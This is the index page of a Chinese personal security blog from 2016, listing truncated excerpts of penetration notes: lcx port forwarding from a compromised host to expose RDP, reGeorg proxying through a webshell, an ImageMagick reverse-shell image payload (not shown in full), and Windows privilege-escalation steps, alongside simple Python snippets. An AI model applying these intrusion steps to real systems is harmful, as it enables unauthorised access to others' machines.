Jove・筆記

1

Web安全与渗透 2016-06-21

内网转发姿势

一、lcx的使用1.肉鸡上执行：lcx.exe –slave 公网ip +端口肉鸡ip +端口例如：lcx.exe -slave xxx.xxx.xxx.xxx 10000 127.0.0.1 3389意思是把肉鸡的3389端口转发到xxx.xxx.xxx....

2

小折腾/小配置 2016-05-31

主要使用场景：已经拿到目标服务器的webshell了，而且目标也开启3389等远程端口，但是用的是反向代理，内网IP，无法远程过去。所以，你需要通过上传一个aspx或者php等之类的代理脚本（reGeorgSocksProxy），然后通过脚本，把目标电脑开启代理，使用pro...

3

Web安全与渗透 2016-05-27

命令说明 DOS命令 Linux命令复制文件 copy cp 转移文件 ...

4

Web安全与渗透 2016-05-06

最近imagemagick 曝光率那么高，但群里问怎么利用的却很多。这里自己做一个利用笔记，以及容易出现的错误。对于网络上传播的利用说明，那个方式并没什么问题，但是太绕了。说个简单的。下列脚本放入后缀名png即可。（说明：该脚本是通过 bash命令把端口反弹出去，类似wi...

5

Python 2016-05-04

#创建文件夹#encoding:utf-8 import os #需要导入os包 def GetDesktopPath(): ...

6

Python 2016-05-04

#encoding:utf-8 #编码设定，为了输出中文，python2.7 print中文和raw_input 中文，显示乱码 import urllib2 # 需要urllib2 包 import urllib #需要urllib 包 imp...

7

Web安全与渗透 2016-04-22

【 web提权】 1.能不能执行cmd就看这个命令：net user，net不行就用net1，再不行就上传一个net到可写可读目录，执行/c c:\windows\temp\cookies\net1.exe user 2.当提权成功，3389没开的情况下，上传开3389的...